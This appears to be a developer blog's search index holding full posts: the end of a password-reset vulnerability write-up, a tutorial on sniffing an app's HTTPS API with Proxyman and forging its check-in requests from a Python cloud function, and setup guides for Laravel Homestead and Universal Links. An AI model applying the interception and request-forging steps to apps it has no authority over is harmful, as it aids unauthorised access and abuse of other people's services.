identifier. The website abused encryption and decryption functions without distinguishing their usage; almost the entire site used the same set. The website had an online arbitrary encryption and decryption entry (equivalent to the key being compromised). The backend did not re-validate user input. There was no two-factor authentication or device binding feature.Fixes Fundamentally, the password reset token should be a randomly generated unique identifier. The website’s encryption and decryption parts should use different keys for different functions. Avoid allowing external arbitrary data encryption and decryption. The backend should validate user input. To be safe, add two-factor authentication and device binding features.SummaryThe whole vulnerability discovery process surprised me because many issues were basic design problems; although the functionality seemed to work individually, and small holes seemed safe, combining multiple holes can create a big one. It’s really important to be cautious in development.Further Reading How to Create an Interesting Engineering CTF Competition The App Uses HTTPS, But Data Was Still Stolen Security Issues with SMS Verification Code for Password RecoveryIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Using Python+Google Cloud Platform+Line Bot to Automate Routine Tasks", "url": "/posts/70a1409b149a/", "categories": "ZRealm, Dev.", "tags": "google-cloud-platform, cloud-functions, cloud-scheduler, ios-app-development, python", "date": "2021-02-20 19:55:51 +0800", "snippet": "Using Python+Google Cloud Platform+Line Bot to Automate Routine TasksCreating a daily automatic check-in script using a check-in reward app as an examplePhoto by Paweł CzerwińskiOriginI have always...", "content": "Using Python+Google Cloud Platform+Line Bot to Automate Routine TasksCreating a daily automatic check-in script using a check-in reward app as an examplePhoto by Paweł CzerwińskiOriginI have always had the habit of using Python to create small tools; some are serious, like automatically crawling data and generating reports for work, and some are less serious, like scheduling automatic checks for desired information or delegating tasks that would otherwise be done manually to scripts.When it comes to automation, I have always been quite straightforward, setting up a computer to run Python scripts continuously; the advantage is simplicity and convenience, but the downside is the need for a device connected to the internet and power. Even a Raspberry Pi consumes a small amount of electricity and internet costs, and it cannot be remotely controlled to start or stop (it actually can, but it’s cumbersome). This time, I took advantage of a work break to explore a free & cloud-based method.Goal Move the Python script to the cloud for execution, schedule it to run automatically, and enable it to be started/stopped via the internet. This article uses a script I wrote for a check-in reward app as an example. The script automatically checks in daily, so I don’t have to open the app manually; it also sends me a notification upon completion.Completion Notification!Sections in this Article Using Proxyman for Man in the Middle Attack API Sniffing Writing a Python script to fake app API requests (simulate check-in actions) Moving the Python script to Google Cloud Setting up automatic scheduling on Google Cloud Due to the sensitive nature of this topic, this article will not disclose which check-in reward app is used. You can extend this method to your own use. If you are only interested in how to automate Python execution, you can skip the first part about Man in the Middle Attack API Sniffing and start from Chapter 3.Tools Used Proxyman: Man in the Middle Attack API Sniffing Python: Writing the script Linebot: Sending notifications of script execution results to myself Google Cloud Function: Hosting the Python script Google Cloud Scheduler: Automatic scheduling service1. Using Proxyman for Man in the Middle Attack API SniffingI previously wrote an article titled “The app uses HTTPS for transmission, but the data was still stolen.” The principle is similar, but this time I used Proxyman instead of mitmproxy; it’s also free but more user-friendly. Go to the official website https://proxyman.io/ to download the Proxyman tool After downloading, start Proxyman and install the Root certificate (to perform Man in the Middle Attack and unpack HTTPS traffic content)“Certificate” -> “Install Certificate On this Mac” -> “Installed & Trusted”After installing the Root certificate on the computer, switch to the mobile:“Certificate” -> “Install Certificate On iOS” -> “Physical Devices…”Follow the instructions to set up the Proxy on your mobile and complete the certificate installation and activation. Open the app on your mobile that you want to sniff the API transmission content for.At this point, Proxyman on the Mac will show the sniffed traffic. Click on the app API domain under the device IP that you want to view; the first time you view it, you need to click “Enable only this domain” for the subsequent traffic to be unpacked.After “Enable only this domain,” you will see the newly intercepted traffic showing the original Request and Response information: We use this method to sniff which API EndPoint is called and what data is sent when performing a check-in operation on the app. Record this information and use Python to simulate the request later. ⚠️ Note that some app token information may change, causing the Python simulated request to fail in the future. You need to understand more about the app token exchange method. ⚠️ If Proxyman is confirmed to be working properly, but the app cannot make requests when Proxyman is enabled, it means the app may have SSL Pinning; currently, there is no solution, and you have to give up. ⚠️ App developers who want to know how to prevent sniffing can refer to the previous article.Assuming we obtained the following information:POST /usercenter HTTP/1.1Host: zhgchg.liContent-Type: application/x-www-form-urlencodedCookie: PHPSESSID=dafd27784f94904dd586d4ca19d8ae62Connection: keep-aliveAccept: */*User-Agent: (iPhone12,3;iOS 14.5)Content-Length: 1076Accept-Language: zh-twAccept-Encoding: gzip, deflate, brAuthToken: 123452. Write a Python script to forge the app API request (simulate the check-in action) Before writing the Python script, we can first use Postman to debug the parameters and see which parameters are necessary or change over time; but you can also directly copy them.checkIn.py:import requestsimport jsondef main(args): results = {} try: data = { \"action\" : \"checkIn\" } headers = { \"Cookie\" : \"PHPSESSID=dafd27784f94904dd586d4ca19d8ae62\", \"AuthToken\" : \"12345\", \"User-Agent\" : \"(iPhone12,3;iOS 14.5)\" } request = requests.post('https://zhgchg.li/usercenter', data = data, headers = headers) result = json.loads(request.content) if result['status_code'] == 200: return \"CheckIn Success!\" else: return result['message'] except Exception as e: return str(e) ⚠️ main(args) The purpose of args will be explained later. If you want to test locally, just use main(True).Using the Requests library to execute HTTP Requests, if you encounter:ImportError: No module named requestsPlease install the library using pip install requests.Adding Linebot notification for execution results:I made this part very simple, just for reference, and only to notify myself. Go to & enable Line Developers Console Create a Provider Select “Create a Messaging API channel”Fill in the basic information in the next step and click “Create” to submit. After creation, find the “Your user ID” section under the first “Basic settings” Tab. This is your User ID. After creation, select the “Messaging API” Tab, scan the QRCode to add the bot as a friend. Scroll down to find the “Channel access token” section, click “Issue” to generate a token. Copy the generated Token. With this Token, we can send messages to users. With the User ID and Token, we can send messages to ourselves. Since we don’t need other functionalities, we don’t even need to install the python line sdk, just send HTTP requests directly.After integrating with the previous Python script…checkIn.py:import requestsimport jsondef main(args): results = {} try: data = { \"action\" : \"checkIn\" } headers = { \"Cookie\" : \"PHPSESSID=dafd27784f94904dd586d4ca19d8ae62\", \"AuthToken\" : \"12345\", \"User-Agent\" : \"(iPhone12,3;iOS 14.5)\" } request = requests.post('https://zhgchg.li/usercenter', data = data, headers = headers) result = json.loads(request.content) if result['status_code'] == 200: sendLineNotification(\"CheckIn Success!\") return \"CheckIn Success!\" else: sendLineNotification(result['message']) return result['message'] except Exception as e: sendLineNotification(str(e)) return str(e) def sendLineNotification(message): data = { \"to\" : \"Your User ID here\", \"messages\" : [ { \"type\" : \"text\", \"text\" : message } ] } headers = { \"Content-Type\" : \"application/json\", \"Authorization\" : \"Your channel access token here\" } request = requests.post('https://api.line.me/v2/bot/message/push',json = data, headers = headers)Test if the notification was sent successfully:Success! A small note, I originally wanted to use Gmail SMTP to send emails for notifications, but after uploading to Google Cloud, I found it couldn’t be used…3. Move the Python script to Google CloudAfter covering the basics, let’s get to the main event of this article: moving the Python script to the cloud.Initially, I aimed for Google Cloud Run but found it too complicated and didn’t want to spend time researching it because my needs are minimal and don’t require so many features. So, I used Google Cloud Function, a serverless solution; it’s more commonly used to build serverless web services. If you haven’t used Google Cloud before, please go to the Console to create a new project and set up billing information. On the project console homepage, click “Cloud Functions” in the resources section. Select “Create Function” at the top. Enter basic information. ⚠️ Note down the “ Trigger URL“Region options: US-WEST1, US-CENTRAL1, US-EAST1 can enjoy free Cloud Storage service quotas. asia-east2 (Hong Kong) is closer to us but requires a small Cloud Storage fee. ⚠️ Creating Cloud Functions requires Cloud Storage to store the code. ⚠️ For detailed pricing, please refer to the end of the article.Trigger type: HTTPAuthentication: Depending on your needs, I want to be able to execute the script from an external link, so I choose “Allow unauthenticated invocations”; if you choose to require authentication, the Scheduler service will also need corresponding settings.Variables, network, and advanced settings can be set in the variables section for Python to use (this way, if parameters change, you don’t need to modify the Python code):How to call in Python:import osdef main(request): return os.environ.get('test', 'DEFAULT VALUE')No need to change other settings, just “Save” -> “Next”. Select “Python 3.x” as the runtime and paste the written Python script, changing the entry point to “main”.Supplement main(args), as mentioned earlier, this service is more used for serverless web; so args are actually Request objects, from which you can get http get query and http post body data, as follows:Get GET Query information:request_args = args.argsexample: ?name=zhgchgli => request_args = [“name”:”zhgchgli”]Get POST Body data:request_json = request.get_json(silent=True)example: name=zhgchgli => request_json = [“name”:”zhgchgli”]If testing POST with Postman, remember to use “Raw+JSON” POST data, otherwise, nothing will be received: After the code part is OK, switch to “requirements.txt” and enter the dependencies used:We use the “requests” package to help us make API calls, which is not in the native Python library; so we need to add it here:requests>=2.25.1Here is the translated Markdown content:Specify version ≥ 2.25.1 here, or just enter requests to install the latest version. Once everything is OK, click “Deploy” to start the deployment.It takes about 1-3 minutes to complete the deployment. After the deployment is complete, you can go to the “ Trigger URL “ noted earlier to check if it is running correctly, or use “Actions” -> “Test Function” to test it.If 500 Internal Server Error appears, it means there is an error in the program. You can click the name to view the “Logs” and find the reason:UnboundLocalError: local variable 'db' referenced before assignment After clicking the name, you can also click “Edit” to modify the script content. If the test is fine, it’s done! We have successfully moved the Python script to the cloud.Additional Information about VariablesAccording to our needs, we need a place to store and read the token of the check-in APP; because the token may expire, it needs to be re-requested and written for use in the next execution.To dynamically pass variables from the outside to the script, the following methods are available: [Read Only] As mentioned earlier, runtime environment variables [Temp] Cloud Functions provides a /tmp directory for writing and reading files during execution, but it will be deleted after completion. For details, please refer to the official documentation. [Read Only] GET/POST data transmission [Read Only] Include additional filesIn the program, using the relative path ./ can read it, only read, cannot dynamically modify; to modify, you can only do it in the console and redeploy. To read and dynamically modify, you need to connect to other GCP services, such as: Cloud SQL, Google Storage, Firebase Cloud Firestore… [Read & Write] Here I choose Firebase Cloud Firestore because it currently has a free quota for use.According to the Getting Started Guide, after creating the Firebase project, enter the Firebase console:Find “ Cloud Firestore “ in the left menu -> “ Add Collection “Enter the collection ID.Enter the data content.A collection can have multiple documents, and each document can have its own field content; it is very flexible to use.In Python:First, go to GCP Console -> IAM & Admin -> Service Accounts, and follow the steps below to download the authentication private key file:First, select the account:Below, “Add Key” -> “Create New Key”Select “JSON” to download the file.Place this JSON file in the same directory as the Python project.In the local development environment:pip install --upgrade firebase-adminInstall the firebase-admin package.In Cloud Functions, add firebase-admin to requirements.txt.Once the environment is set up, we can read the data we just added:firebase_admin.py:import firebase_adminfrom firebase_admin import credentialsfrom firebase_admin import firestoreif not firebase_admin._apps: cred = credentials.Certificate('./authentication.json') firebase_admin.initialize_app(cred)# Because initializing the app multiple times will cause the following error# providing an app name as the second argument. In most cases you only need to call initialize_app() once. But if you do want to initialize multiple apps, pass a second argument to initialize_app() to give each app a unique name.# So to be safe, check if it is already initialized before calling initialize_appdb = firestore.client()ref = db.collection(u'example') // Collection namestream = ref.stream()for data in stream: print(\"id:\"+data.id+\",\"+data.to_dict()) If you are on Cloud Functions, you can either upload the authentication JSON file together or change the connection syntax as follows:cred = credentials.ApplicationDefault()firebase_admin.initialize_app(cred, { 'projectId': project_id,})db = firestore.client() If you encounter Failed to initialize a certificate credential., please check if the authentication JSON is correct.For more operations like adding or deleting, please refer to the official documentation.4. Set up automatic scheduling in Google CloudAfter having the script, the next step is to make it run automatically to achieve our final goal. Go to the Google Cloud Scheduler console homepage Click “Create Job” at the top Enter the basic job informationExecution frequency: Same as crontab input method. If you are not familiar with crontab syntax, you can directly use crontab.guru this amazing website:It can clearly translate the actual meaning of the syntax you set. (Click next to see the next execution time) Here I set 15 1 * * *, because the check-in only needs to be executed once a day, set to execute at 1:15 AM every day.URL part: Enter the “ trigger URL “ noted earlierTime zone: Enter “Taiwan”, select Taipei Standard TimeHTTP method: According to the previous Python code, we use GetIf you set “authentication” earlier remember to expand “SHOW MORE” to set up authentication.After filling everything out, press “ Create “. After successful creation, you can choose “Run Now” to test if it works properly. You can view the execution results and the last execution date ⚠️ Please note that the execution result “failure” only refers to web status codes 400~500 or errors in the Python program.All Done!We have achieved the goal of uploading the routine task Python script to the cloud and setting it to run automatically.PricingAnother very important part is the pricing; Google Cloud and Linebot are not completely free services, so understanding the pricing is crucial. Otherwise, for a small script, paying too much money might not be worth it compared to just running it on a computer.LinebotRefer to the official pricing information, which is free for up to 500 messages per month.Google Cloud FunctionsRefer to the official pricing information, which includes 2 million invocations, 400,000 GB-seconds, 200,000 GHz-seconds of compute time, and 5 GB of internet egress per month.Google Firebase Cloud FirestoreRefer to the official pricing information, which includes 1 GB of storage, 10 GB of data transfer per month, 50,000 reads per day, and 20,000 writes/deletes per day; sufficient for light usage!Google Cloud SchedulerRefer to the official pricing information, which allows 3 free jobs per account. The above free quotas are more than enough for the script!Google Cloud Storage Conditional Free UsageDespite all efforts, some services might still incur charges.After creating Cloud Functions, two Cloud Storage instances will be automatically created:If you chose US-WEST1, US-CENTRAL1, or US-EAST1 for Cloud Functions, you can enjoy free usage quotas:I chose US-CENTRAL1, and you can see that the first Cloud Storage instance is indeed in US-CENTRAL1, but the second one is labeled Multiple regions in the US; I estimate this one will incur charges.Refer to the official pricing information, which varies by region.The code isn’t large, so I estimate the minimum charge will be around 0.0X0 per month (?) ⚠️ The above information was recorded on 2021/02/21, and the actual prices may vary. This is for reference only.Budget Control NotificationsJust in case… if the usage exceeds the free quota and starts incurring charges, I want to receive notifications to avoid unexpectedly high bills due to program errors. Go to the Console Find the “ Billing “ Card:Click “View Detailed Deduction Records” to enter. Expand the left menu and enter the “Budget and Alerts” feature. Click on the top “Set Budget” Enter a custom nameNext step. Amount, enter “Target Amount”, you can enter $1, $10; we don’t want to spend too much on small things.Next step.Here you can set the action to trigger a notification when the budget reaches a certain percentage.Check “Send alerts to billing administrators and users via email”, so that when the condition is triggered, you will receive a notification immediately.Click “Finish” to submit and save.When the budget is exceeded, we can know immediately to avoid incurring more costs.SummaryHuman energy is limited. In today’s flood of technological information, every platform and service wants to extract our limited energy. If we can use some automated scripts to share our daily lives, we can save more energy to focus on important things!Further Reading Slack builds a fully automated WFH employee health status reporting system Crashlytics + Big Query to create a more real-time and convenient crash tracking tool Crashlytics + Google Analytics automatically query App Crash-Free Users Rate The app uses HTTPS transmission, but the data is still stolen. How to create an interesting engineering CTF competition iOS 14 clipboard data theft panic, the dilemma of privacy and convenience Use Google Apps Script to forward Gmail messages to SlackIf you have any questions or comments, feel free to contact me.If you have any automation-related optimization needs, feel free to commission me. Thank you.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Reinstallation Note 1 - Laravel Homestead + phpMyAdmin Environment Setup", "url": "/posts/87090f101b9a/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, php, laravel, vagrant, virtualbox", "date": "2021-02-05 14:01:41 +0800", "snippet": "[Reinstallation Note 1] - Laravel Homestead + phpMyAdmin Environment SetupSetting up a Laravel development environment from scratch and managing MySQL databases with phpMyAdmin GUILaravel Recently...", "content": "[Reinstallation Note 1] - Laravel Homestead + phpMyAdmin Environment SetupSetting up a Laravel development environment from scratch and managing MySQL databases with phpMyAdmin GUILaravel Recently reset my Mac, recording the steps to restore the Laravel development environment.Environment Requirements Vagrant: Virtual environment configuration tool VirtualBox: Free virtual machine software. If you have purchased Parallels, you can also use Parallels (but you need to install the plug-in)After downloading and installing these two software, proceed to the next step of configuration. During VirtualBox installation, you will be required to restart and go to “Settings” -> “Security & Privacy” -> “Allow VirtualBox” to enable all services.Configure Homestead Environmentgit clone https://github.com/laravel/homestead.git ~/Homesteadcd ~/Homesteadgit checkout releasebash init.shphpMyAdmin phpMyAdmin is a PHP-based web-based MySQL database management tool that allows administrators to manage MySQL databases through a web interface. This web interface provides a simpler way to input complex SQL syntax, especially for handling large data imports and exports. — Wiki phpMyAdminDownload the latest version from the phpMyAdmin official website.Unzip the .zip -> Folder -> Rename the folder to “phpMyAdmin”:Move the phpMyAdmin folder to the ~/Homestead folder:phpMyAdmin ConfigurationIn the phpMyAdmin folder, find config.sample.inc.php, rename it to config.inc.php, and open it with an editor to modify the settings as follows:<?php/* vim: set expandtab sw=4 ts=4 sts=4: *//** * phpMyAdmin sample configuration, you can use it as base for * manual configuration. For easier setup you can use setup/ * * All directives are explained in documentation in the doc/ folder * or at <https://docs.phpmyadmin.net/>. * * @package PhpMyAdmin */declare(strict_types=1);/** * This is needed for cookie based authentication to encrypt password in * cookie. Needs to be 32 chars long. */$cfg['blowfish_secret'] = ''; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! *//** * Servers configuration */$i = 0;/** * First server */$i++;/* Authentication type */$cfg['Servers'][$i]['auth_type'] = 'config';/* Server parameters */$cfg['Servers'][$i]['host'] = 'localhost';$cfg['Servers'][$i]['user'] = 'homestead';$cfg['Servers'][$i]['password'] = 'secret';$cfg['Servers'][$i]['compress'] = false;$cfg['Servers'][$i]['AllowNoPassword'] = false;/** * phpMyAdmin configuration storage settings. *//* User used to manipulate with storage */// $cfg['Servers'][$i]['controlhost'] = '';// $cfg['Servers'][$i]['controlport'] = '';// $cfg['Servers'][$i]['controluser'] = 'pma';// $cfg['Servers'][$i]['controlpass'] = 'pmapass';/* Storage database and tables */// $cfg['Servers'][$i]['pmadb'] = 'phpmyadmin';// $cfg['Servers'][$i]['bookmarktable'] = 'pma__bookmark';// $cfg['Servers'][$i]['relation'] = 'pma__relation';// $cfg['Servers'][$i]['table_info'] = 'pma__table_info';// $cfg['Servers'][$i]['table_coords'] = 'pma__table_coords';// $cfg['Servers'][$i]['pdf_pages'] = 'pma__pdf_pages';// $cfg['Servers'][$i]['column_info'] = 'pma__column_info';// $cfg['Servers'][$i]['history'] = 'pma__history';// $cfg['Servers'][$i]['table_uiprefs'] = 'pma__table_uiprefs';// $cfg['Servers'][$i]['tracking'] = 'pma__tracking';// $cfg['Servers'][$i]['userconfig'] = 'pma__userconfig';// $cfg['Servers'][$i]['recent'] = 'pma__recent';// $cfg['Servers'][$i]['favorite'] = 'pma__favorite';// $cfg['Servers'][$i]['users'] = 'pma__users';// $cfg['Servers'][$i]['usergroups'] = 'pma__usergroups';// $cfg['Servers'][$i]['navigationhiding'] = 'pma__navigationhiding';// $cfg['Servers'][$i]['savedsearches'] = 'pma__savedsearches';// $cfg['Servers'][$i]['central_columns'] = 'pma__central_columns';// $cfg['Servers'][$i]['designer_settings'] = 'pma__designer_settings';// $cfg['Servers'][$i]['export_templates'] = 'pma__export_templates';/** * End of servers configuration *//** * Directories for saving/loading files from server */$cfg['UploadDir'] = '';$cfg['SaveDir'] = '';/** * Whether to display icons or text or both icons and text in table row * action segment. Value can be either of 'icons', 'text' or 'both'. * default = 'both' *///$cfg['RowActionType'] = 'icons';/** * Defines whether a user should be displayed a \"show all (records)\" * button in browse mode or not. * default = false *///$cfg['ShowAll'] = true;/** * Number of rows displayed when browsing a result set. If the result * set contains more rows, \"Previous\" and \"Next\". * Possible values: 25, 50, 100, 250, 500 * default = 25 *///$cfg['MaxRows'] = 50;/** * Disallow editing of binary fields * valid values are: * false allow editing * 'blob' allow editing except for BLOB fields * 'noblob' disallow editing except for BLOB fields * 'all' disallow editing * default = 'blob' *///$cfg['ProtectBinary'] = false;/** * Default language to use, if not browser-defined or user-defined * (you find all languages in the locale folder) * uncomment the desired line: * default = 'en' *///$cfg['DefaultLang'] = 'en';//$cfg['DefaultLang'] = 'de';/** * How many columns should be used for table display of a database? * (a value larger than 1 results in some information being hidden) * default = 1 *///$cfg['PropertiesNumColumns'] = 2;/** * Set to true if you want DB-based query history.If false, this utilizes * JS-routines to display query history (lost by window close) * * This requires configuration storage enabled, see above. * default = false *///$cfg['QueryHistoryDB'] = true;/** * When using DB-based query history, how many entries should be kept? * default = 25 *///$cfg['QueryHistoryMax'] = 100;/** * Whether or not to query the user before sending the error report to * the phpMyAdmin team when a JavaScript error occurs * * Available options * ('ask' | 'always' | 'never') * default = 'ask' *///$cfg['SendErrorReports'] = 'always';/** * You can find more configuration options in the documentation * in the doc/ folder or at <https://docs.phpmyadmin.net/>. */Mainly add and modify these three settings:$cfg['Servers'][$i]['auth_type'] = 'config';$cfg['Servers'][$i]['user'] = 'homestead'; The default MySQL username and password for homestead are homestead / secret.Configure Homestead SettingsOpen the ~/Homestead/Homestead.yaml configuration file with an editor.---ip: \"192.168.10.10\"memory: 2048cpus: 2provider: virtualboxauthorize: ~/.ssh/id_rsa.pubkeys: - ~/.ssh/id_rsafolders: - map: ~/Projects/Web to: /home/vagrant/code - map: ~/Homestead/phpMyAdmin to: /home/vagrant/phpMyAdminsites: - map: phpMyAdmin.test to: /home/vagrant/phpMyAdmindatabases: - homesteadfeatures: - mysql: false - mariadb: false - postgresql: false - ohmyzsh: false - webdriver: false#services:# - enabled:# - \"postgresql@12-main\"# - disabled:# - \"postgresql@11-main\"# ports:# - send: 50000# to: 5000# - send: 7777# to: 777# protocol: udp IP: The default is 192.168.10.10, can be changed or not provider: The default is virtualbox, only needs to be changed if using Parallels folders: Add- map: ~/Homestead/phpMyAdminto: /home/vagrant/phpMyAdmin sites: Add- map: phpMyAdmin.test to: /home/vagrant/phpMyAdminIf you already have a Laravel project, you can also add it here. For example, I put my projects under ~/Projects/Web, so I also add the directory mapping.sites is to set the local virtual domain and directory mapping. We also need to modify the local Hosts file to add the domain virtual machine mapping:Use Finder -> Go -> /etc/hosts, find the hosts file; copy it to the desktop (because it cannot be modified directly) The domain name can be customized as you like, as only your local machine can access it.Open the copied Hosts file and add the sites record:<homestead IP address> <domain name>After modifying, save it, then cut and paste it back to /etc/hosts, overwriting the original file.Install & Start Homestead Virtual Machinecd ~/Homesteadvagrant up --provision ⚠️ Please note that if you do not add --provision, the configuration file will not be updated, and you will get a no input file specified error when entering the URL.The first time you start it, you need to download the Homestead environment package, which takes a long time.If no special errors occur, it means the startup was successful. You can then run:vagrant sshssh into the virtual machine.Check if phpMyAdmin is correctly connectedGo to http://phpmyadmin.test/ to check if it opens normally.Success! We encountered a place where we need to operate the database, just come here and modify it directly.Create a New Laravel ProjectIf you have an existing project, you can already run it locally from the browser at this step. If not, here is how to create a new Laravel project.~/Homesteadvagrant sshSSH into the VM, then cd to the code directory:cd ./codeRun laravel new followed by the project name to create a Laravel project (using blog as an example):laravel new blogThe blog project has been successfully created!Next, we need to set up the project to access the test domain locally:Go back and open the ~/Homestead/Homestead.yaml configuration file.Add a record in sites:sites: - map: myblog.test to: /home/vagrant/code/blog/publicRemember to add a corresponding record in hosts:192.168.10.10. myblog.testFinally, restart homestead:vagrant reload --provisionEnter http://myblog.test in the browser to test if it is correctly set up and running:Done!Supplement — Installing Composer on MacAlthough using Homestead means you don’t need to install Composer separately, considering that some PHP projects may not use Laravel, you still need to install Composer locally. ComposerCopy the command from the download section and replace php composer-setup.php with:php composer-setup.php - install-dir=/usr/local/bin - filename=composerComposer v2.0.9 example:php -r \"copy('https://getcomposer.org/installer', 'composer-setup.php');\"php -r \"if (hash_file('sha384', 'composer-setup.php') === '756890a4488ce9024fc62c56153228907f1545c228516cbf63f885e036d37e9a59d27d63f46af1d4d07ee0f76181c7d3') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;\"php composer-setup.php --install-dir=/usr/local/bin --filename=composerphp -r \"unlink('composer-setup.php');\"Enter the commands sequentially in the terminal. ⚠️Please note not to directly copy and use the above example, as the hash check code will change with Composer version updates.Enter composer -V to confirm the version and successful installation!References https://laravel.com/docs/8.x/homestead https://getcomposer.org/download/If you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "What's New with Universal Links", "url": "/posts/12c5026da33d/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, universal-links, app-store, deeplink", "date": "2021-02-04 11:57:25 +0800", "snippet": "What’s New with Universal LinksiOS 13, iOS 14 What’s New with Universal Links & Setting Up a Local Testing EnvironmentPhoto by NASAPrefaceFor a service that has both a website and an app, the f...", "content": "What’s New with Universal LinksiOS 13, iOS 14 What’s New with Universal Links & Setting Up a Local Testing EnvironmentPhoto by NASAPrefaceFor a service that has both a website and an app, the functionality of Universal Links is crucial for user experience, achieving seamless integration between the web and the app. However, it has always been set up simply without much emphasis. Recently, I spent some time researching and documenting some interesting things.Common ConsiderationsIn services I have worked on, the consideration for implementing Universal Links is that the app does not have complete website functionality. Universal Links recognize the domain name, and as long as the domain name matches, the app will open. To address this issue, you can exclude URLs on the app that do not have corresponding functionality on the website. If the website service URLs are very specific, it may be better to create a new subdomain for Universal Links.When does apple-app-site-association update? For iOS < 14, the app will query the apple-app-site-association of the Universal Links website during the first installation or update. For iOS ≥ 14, Apple CDN caches and periodically updates the apple-app-site-association of the Universal Links website. The app will fetch it from Apple CDN during the first installation or update. However, there may be a problem here as the apple-app-site-association on Apple CDN may still be outdated.Regarding the update mechanism of Apple CDN, after checking the documentation, there is no mention of it. In a discussion, the official response was only “regular updates” with details to be released in the documentation… but I have not seen it yet. I personally think it should be updated at least every 48 hours… so if you make changes to apple-app-site-association, it is recommended to update it online a few days before the app update is released.apple-app-site-association Apple CDN Confirmation:Headers: HOST=app-site-association.cdn-apple.comGET https://app-site-association.cdn-apple.com/a/v1/your-domainYou can see the current version on Apple CDN. (Remember to add Request Header Host=https://app-site-association.cdn-apple.com/)iOS ≥ 14 DebugDue to the aforementioned CDN issue, how can we debug during the development phase?Fortunately, Apple provides a solution for this part, otherwise it would be really frustrating not being able to update in real-time; we just need to add ?mode=developer after applinks:domain.com, and there are also managed (for enterprise internal APP) or developer+managed modes that can be set.After adding mode=developer, the app will fetch the latest app-site-association directly from the website every time you Build & Run on the simulator.If you want to Build & Run on a real device, you need to go to “Settings” -> “Developer” -> enable the “Associated Domains Development” option. ⚠️ There is a pitfall here, app-site-association can be placed in the root directory of the website or in the ./.well-known directory; but in mode=developer, it will only look for ./.well-known/app-site-association, which made me think it wasn’t working.Development TestingIf you are using iOS <14, remember that if you have made changes to app-site-association, you need to delete it and then Build & Run the app again to fetch the latest one. For iOS ≥ 14, please refer to the aforementioned method and add mode=developer.For better modification of the app-site-association content, you can modify the file on the server yourself. However, for those of us who sometimes cannot access the server side, testing universal links can be very troublesome. You have to constantly bother backend colleagues for help, and it becomes necessary to be very certain about the app-site-association content before going live, as constantly changing it can drive your colleagues crazy.Setting up a Local Simulation EnvironmentTo solve the above problem, we can set up a small service locally.First, install nginx on your Mac:brew install nginxIf you haven’t installed brew yet, you can do so by running:/bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"After installing nginx, go to /usr/local/etc/nginx/ and open the nginx.conf file for editing:...omittedserver { listen 8080; server_name localhost;#charset koi8-r;#access_log logs/host.access.log main;location / { root /Users/yourusername/Documents; index index.html index.htm; }...omittedAround line 44, change the root in the location / to the directory you want (using Documents as an example here). Listening on port 8080, no need to change if there are no conflicts.Save the changes, then start nginx by running:nginxTo stop it, run:nginx -s stopIf you make changes to nginx.conf, remember to run:nginx -s reloadto restart the service.Create a ./.well-known directory inside the root directory you just configured, and place the apple-app-site-association file inside ./.well-known. ⚠️ If .well-known disappears after creation, please note that on Mac, you need to enable “Show hidden files” feature:In the terminal, run:defaults write com.apple.finder AppleShowAllFiles TRUEThen run killall finder to restart all finders. ⚠️ The apple-app-site-association file may not have an extension, but it actually has the .json extension:Right-click on the file -> “Get Info” -> “Name & Extension” -> Check for the extension and uncheck “Hide extension” if necessary.Once confirmed, open the browser to test if the following link can be downloaded successfully: apple-app-site-association at:http://localhost:8080/.well-known/apple-app-site-associationIf the download is successful, it means the local environment simulation is successful! If you encounter a 404/403 error, please check if the root directory is correct, if the directory/file is placed correctly, and if the apple-app-site-association file accidentally includes the extension (.json).Register & Download Ngrokngrok.comExtract the ngrok executableAccess the Dashboard page to execute Config settings./ngrok authtoken YOUR_TOKENAfter setting up, run:./ngrok http 8080 Because our nginx is on port 8080.Start the service.At this point, you will see a window showing the status of the service startup, and you can obtain the public URL assigned for this session from the Forwarding section. ⚠️ The assigned URL changes every time you start, so it can only be used for development testing purposes. Here, we will use the assigned URL for this session https://ec87f78bec0f.ngrok.io/ _as an example.Return to the browser and enter https://ec87f78bec0f.ngrok.io/.well-known/apple-app-site-association to see if you can successfully download and view the apple-app-site-association file. If everything is fine, you can proceed to the next step.Enter the ngrok-assigned URL into the Associated Domains applinks: settings.Remember to add ?mode=developer for testing purposes.Rebuild & Run the APP:Open the browser and enter the corresponding Universal Links test URL (e.g., https://ec87f78bec0f.ngrok.io/buy/123) to see the results. If a 404 page appears, ignore it as we don’t actually have that page. We are testing if iOS matches the URL functionality as expected. If you see “Open” above, it means the match is successful. You can also test the reverse scenario.Click “Open” to open the APP -> Test successful! After testing OK in the development phase, confirming the modified apple-app-site-association file and handing it over to the backend for uploading to the server can ensure everything goes smoothly~ Finally, remember to change the Associated Domains applinks to the correct trial site URL.Additionally, we can also check whether the apple-app-site-association file is requested each time the APP Build & Run is executed from the ngrok status window:Applinks ConfigurationBefore iOS < 13:The configuration file is relatively simple, and only the following content can be set:{ \"applinks\": { \"apps\": [], \"details\": [ { \"appID\" : \"TeamID.BundleID\", \"paths\": [ \"NOT /help/\", \"*\" ] } ] }}Replace TeamID.BundleId with your project settings (ex: TeamID = ABCD, BundleID = li.zhgchg.demoapp => ABCD.li.zhgchg.demoapp). If there are multiple appIDs, you need to add multiple sets.The paths section represents the matching rules, supporting the following syntax: *: Matches 0 to multiple characters, ex: /home/* (home/alan…) ?: Matches 1 character, ex: 201? (2010~2019) ?*: Matches 1 to multiple characters, ex: /?* (/test, /home…) NOT: Excludes in reverse, ex: NOT /help (any URL but /help)You can decide on more combinations based on the actual situation, for more information, refer to the official documentation. - Please note, it is not Regex and does not support any Regex syntax.- The old version does not support Query (?name=123) and Anchor (#title).- Chinese URLs must be converted to ASCII before being placed in paths (all URL characters must be ASCII).After iOS ≥ 13:The functionality of the configuration file has been enhanced, with added support for Query/Anchor, character sets, and encoding handling.\"applinks\": { \"details\": [ { \"appIDs\": [ \"TeamID.BundleID\" ], \"components\": [ { \"#\": \"no_universal_links\", \"exclude\": true, \"comment\": \"Matches any URL whose fragment equals no_universal_links and instructs the system not to open it as a universal link\" }, { \"/\": \"/buy/*\", \"comment\": 